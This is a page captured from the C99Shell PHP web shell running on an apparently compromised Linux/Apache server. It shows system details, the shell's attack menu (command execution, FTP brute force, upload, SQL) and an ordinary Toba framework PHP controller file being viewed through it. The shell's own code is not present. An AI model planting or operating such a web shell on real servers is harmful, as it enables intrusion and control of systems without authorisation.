!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/proyectos/toba_editor/php/editores/mensajes_componente/   drwxr-xr-x
Free 14.29 GB of 61.93 GB (23.07%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ci_mensajes_componentes.php (2.83 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
require_once('configuracion/ci_abm_basico.php');

class 
ci_mensajes_componentes extends ci_abm_basico
{
    protected 
$s__filtro;
    
    function 
ini()
    {
        if (! 
toba::zona()->cargada()) {
            throw new 
toba_error('Necesita seleccionar un componente.');
        }    
    }
    
    function 
get_id_objeto()
    {
        
$editable toba::zona()->get_editable();        
        return 
$editable[1];
    }
    
    function 
get_datos_listado()
    {
        
$clausulas = array();
        if (isset(
$this->s__filtro)) {
            
$clausulas $this->dep('filtro')->get_sql_clausulas();
        }
        
$clausulas[] = 'objeto_proyecto = 'quote(toba_contexto_info::get_proyecto());
        
$clausulas[] = 'objeto = 'quote($this->get_id_objeto());        
        return 
toba_info_editores::get_mensajes_objeto_filtrados($clausulas);
    }
    

    
//-----------------------------------------------------------------------------------
    //---- Eventos ----------------------------------------------------------------------
    //-----------------------------------------------------------------------------------

    
function evt__agregar()
    {
        
$this->set_pantalla('pant_edicion');
    }

    
//-----------------------------------------------------------------------------------
    //---- filtro -----------------------------------------------------------------------
    //-----------------------------------------------------------------------------------

    
function conf__filtro(toba_ei_filtro $filtro)
    {
        if (isset(
$this->s__filtro)) {
            
$filtro->set_datos($this->s__filtro);
        }
    }

    function 
evt__filtro__filtrar($datos)
    {
        
$this->s__filtro $datos;
    }

    function 
evt__filtro__cancelar()
    {
        unset(
$this->s__filtro);
    }

    
//-----------------------------------------------------------------------------------
    //---- formulario -------------------------------------------------------------------
    //-----------------------------------------------------------------------------------

    
function evt__formulario__alta($datos)
    {
        
$datos['objeto'] = $this->get_id_objeto();
        
$datos['objeto_proyecto'] = toba_editor::get_proyecto_cargado();
        
parent::evt__formulario__alta($datos);
        
$this->set_pantalla('pant_inicial');
    }
    
    function 
evt__formulario__baja()
    {
        
parent::evt__formulario__baja();
        
$this->set_pantalla('pant_inicial');
    }

    function 
evt__formulario__modificacion($datos)
    {
        
parent::evt__formulario__modificacion($datos);
        
$this->set_pantalla('pant_inicial');
    }

    function 
evt__formulario__cancelar()
    {
        
parent::evt__formulario__cancelar();
        
$this->set_pantalla('pant_inicial');
    }

    
//-----------------------------------------------------------------------------------
    //---- cuadro -----------------------------------------------------------------------
    //-----------------------------------------------------------------------------------

    
function evt__cuadro__seleccion($seleccion)
    {
        
$this->dependencia('datos')->cargar($seleccion);
        
$this->set_pantalla('pant_edicion');
    }

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.6063 ]--